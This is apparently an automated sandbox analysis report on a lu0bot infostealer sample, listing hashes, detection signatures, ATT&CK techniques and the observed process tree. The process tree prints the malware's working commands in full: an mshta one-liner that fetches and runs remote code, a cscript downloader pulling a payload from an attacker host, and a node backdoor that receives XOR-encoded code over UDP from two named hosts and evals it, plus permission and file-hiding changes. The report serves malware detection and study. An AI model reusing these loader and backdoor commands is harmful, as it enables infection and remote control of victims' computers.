lu0bot | 545b3f1af9322de70ef2b27c9b383be4f6c22f508320d55d4b3787cc0eebce50

Analysis

max time kernel
148s
max time network
146s
platform
windows10_x64
resource
win10v20210410
submitted
27/07/2021, 11:13

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General

Target

eufive_20210727-125230.exe
Size

3KB
MD5

a761191fcfbb734c45f3d7ba61d2ccde
SHA1

3d37da91baf133d14e746d85cc9d8197d78cd0b9
SHA256

545b3f1af9322de70ef2b27c9b383be4f6c22f508320d55d4b3787cc0eebce50
SHA512

6add2e95ba16cac3ffc60697df7df9ba30b437aed94a1593bce7808ae686f980792a7327e8a204e40ba149b9d42045a3952ba1e32b0a5f24a0d3e38488f8a6ed

Score

10^/10

lu0bot discovery stealer suricata trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot
suricata: ET MALWARE lu0bot Loader HTTP Request
suricata
suricata: ET MALWARE lu0bot Loader HTTP Response
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	812	mshta.exe
9	3944	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
4040	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3012	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
208	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
1680	ipconfig.exe
412	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3964	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\72c88fc8530cff86:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:b91c8f48f19d154e4bad17bca8a67cc9	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4040	node.exe
4040	node.exe
4040	node.exe
4040	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	208	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3528	wmic.exe
Token: SeSecurityPrivilege	3528	wmic.exe
Token: SeTakeOwnershipPrivilege	3528	wmic.exe
Token: SeLoadDriverPrivilege	3528	wmic.exe
Token: SeSystemProfilePrivilege	3528	wmic.exe
Token: SeSystemtimePrivilege	3528	wmic.exe
Token: SeProfSingleProcessPrivilege	3528	wmic.exe
Token: SeIncBasePriorityPrivilege	3528	wmic.exe
Token: SeCreatePagefilePrivilege	3528	wmic.exe
Token: SeBackupPrivilege	3528	wmic.exe
Token: SeRestorePrivilege	3528	wmic.exe
Token: SeShutdownPrivilege	3528	wmic.exe
Token: SeDebugPrivilege	3528	wmic.exe
Token: SeSystemEnvironmentPrivilege	3528	wmic.exe
Token: SeRemoteShutdownPrivilege	3528	wmic.exe
Token: SeUndockPrivilege	3528	wmic.exe
Token: SeManageVolumePrivilege	3528	wmic.exe
Token: 33	3528	wmic.exe
Token: 34	3528	wmic.exe
Token: 35	3528	wmic.exe
Token: 36	3528	wmic.exe
Token: SeIncreaseQuotaPrivilege	3528	wmic.exe
Token: SeSecurityPrivilege	3528	wmic.exe
Token: SeTakeOwnershipPrivilege	3528	wmic.exe
Token: SeLoadDriverPrivilege	3528	wmic.exe
Token: SeSystemProfilePrivilege	3528	wmic.exe
Token: SeSystemtimePrivilege	3528	wmic.exe
Token: SeProfSingleProcessPrivilege	3528	wmic.exe
Token: SeIncBasePriorityPrivilege	3528	wmic.exe
Token: SeCreatePagefilePrivilege	3528	wmic.exe
Token: SeBackupPrivilege	3528	wmic.exe
Token: SeRestorePrivilege	3528	wmic.exe
Token: SeShutdownPrivilege	3528	wmic.exe
Token: SeDebugPrivilege	3528	wmic.exe
Token: SeSystemEnvironmentPrivilege	3528	wmic.exe
Token: SeRemoteShutdownPrivilege	3528	wmic.exe
Token: SeUndockPrivilege	3528	wmic.exe
Token: SeManageVolumePrivilege	3528	wmic.exe
Token: 33	3528	wmic.exe
Token: 34	3528	wmic.exe
Token: 35	3528	wmic.exe
Token: 36	3528	wmic.exe
Token: SeDebugPrivilege	412	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 3908 wrote to memory of 812	3908	eufive_20210727-125230.exe	73
PID 3908 wrote to memory of 812	3908	eufive_20210727-125230.exe	73
PID 3908 wrote to memory of 812	3908	eufive_20210727-125230.exe	73
PID 812 wrote to memory of 3556	812	mshta.exe	77
PID 812 wrote to memory of 3556	812	mshta.exe	77
PID 812 wrote to memory of 3556	812	mshta.exe	77
PID 3556 wrote to memory of 3944	3556	cmd.exe	79
PID 3556 wrote to memory of 3944	3556	cmd.exe	79
PID 3556 wrote to memory of 3944	3556	cmd.exe	79
PID 3556 wrote to memory of 3332	3556	cmd.exe	80
PID 3556 wrote to memory of 3332	3556	cmd.exe	80
PID 3556 wrote to memory of 3332	3556	cmd.exe	80
PID 3556 wrote to memory of 3292	3556	cmd.exe	81
PID 3556 wrote to memory of 3292	3556	cmd.exe	81
PID 3556 wrote to memory of 3292	3556	cmd.exe	81
PID 3292 wrote to memory of 4040	3292	cscript.exe	82
PID 3292 wrote to memory of 4040	3292	cscript.exe	82
PID 3292 wrote to memory of 4040	3292	cscript.exe	82
PID 4040 wrote to memory of 2832	4040	node.exe	86
PID 4040 wrote to memory of 2832	4040	node.exe	86
PID 4040 wrote to memory of 2832	4040	node.exe	86
PID 4040 wrote to memory of 2168	4040	node.exe	87
PID 4040 wrote to memory of 2168	4040	node.exe	87
PID 4040 wrote to memory of 2168	4040	node.exe	87
PID 4040 wrote to memory of 3012	4040	node.exe	88
PID 4040 wrote to memory of 3012	4040	node.exe	88
PID 4040 wrote to memory of 3012	4040	node.exe	88
PID 4040 wrote to memory of 584	4040	node.exe	89
PID 4040 wrote to memory of 584	4040	node.exe	89
PID 4040 wrote to memory of 584	4040	node.exe	89
PID 4040 wrote to memory of 1076	4040	node.exe	90
PID 4040 wrote to memory of 1076	4040	node.exe	90
PID 4040 wrote to memory of 1076	4040	node.exe	90
PID 4040 wrote to memory of 208	4040	node.exe	92
PID 4040 wrote to memory of 208	4040	node.exe	92
PID 4040 wrote to memory of 208	4040	node.exe	92
PID 4040 wrote to memory of 3528	4040	node.exe	93
PID 4040 wrote to memory of 3528	4040	node.exe	93
PID 4040 wrote to memory of 3528	4040	node.exe	93
PID 4040 wrote to memory of 1680	4040	node.exe	94
PID 4040 wrote to memory of 1680	4040	node.exe	94
PID 4040 wrote to memory of 1680	4040	node.exe	94
PID 4040 wrote to memory of 3372	4040	node.exe	95
PID 4040 wrote to memory of 3372	4040	node.exe	95
PID 4040 wrote to memory of 3372	4040	node.exe	95
PID 4040 wrote to memory of 412	4040	node.exe	96
PID 4040 wrote to memory of 412	4040	node.exe	96
PID 4040 wrote to memory of 412	4040	node.exe	96
PID 4040 wrote to memory of 3964	4040	node.exe	97
PID 4040 wrote to memory of 3964	4040	node.exe	97
PID 4040 wrote to memory of 3964	4040	node.exe	97

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
584	attrib.exe
1076	attrib.exe

C:\Users\Admin\AppData\Local\Temp\eufive_20210727-125230.exe
"C:\Users\Admin\AppData\Local\Temp\eufive_20210727-125230.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3908
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();51;y=unescape('%325%33%7E%68t%74p%3A%2F%2Fa%73u%305%2Ef%75n%2Fh%72i%2F%3F%32f%652%652%62%7E%317%39').split('~');205;try{x='WinHttp';82;x=new ActiveXObject(x+'.'+x+'Request.5.1');175;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);222;x.send();105;y='ipt.S';173;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);253;}catch(e){};202;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:812
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1627384441934.txt & cscript /nologo /e:jscript get1627384441934.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F2ee527107%26b%3Dd49ff63b" node.cab & expand node.cab node.exe & del get1627384441934.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1627384441934.txt & cscript /nologo /e:jscript get1627384441934.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27ee527107%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1627384441934.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3556
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1627384441934.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F2ee527107%26b%3Dd49ff63b" node.cab
      4⤵
      Blocklisted process makes network request
      PID:3944
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:3332
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1627384441934.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27ee527107%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3292
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27ee527107%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4040
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:2832
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:2168
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:3012
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:584
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:1076
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:208
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3528
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:1680
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:3372
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:412
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:3964

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4040-130-0x000000000E800000-0x000000000E801000-memory.dmp

Filesize
4KB

Download
memory/4040-129-0x000000001D000000-0x000000001D001000-memory.dmp

Filesize
4KB

Download
memory/4040-128-0x000000000DA00000-0x000000000DA01000-memory.dmp

Filesize
4KB

Download
memory/4040-127-0x0000000026600000-0x0000000026601000-memory.dmp

Filesize
4KB

Download
memory/4040-126-0x0000000035900000-0x0000000035901000-memory.dmp

Filesize
4KB

Download
memory/4040-125-0x000000000DF00000-0x000000000DF01000-memory.dmp

Filesize
4KB

Download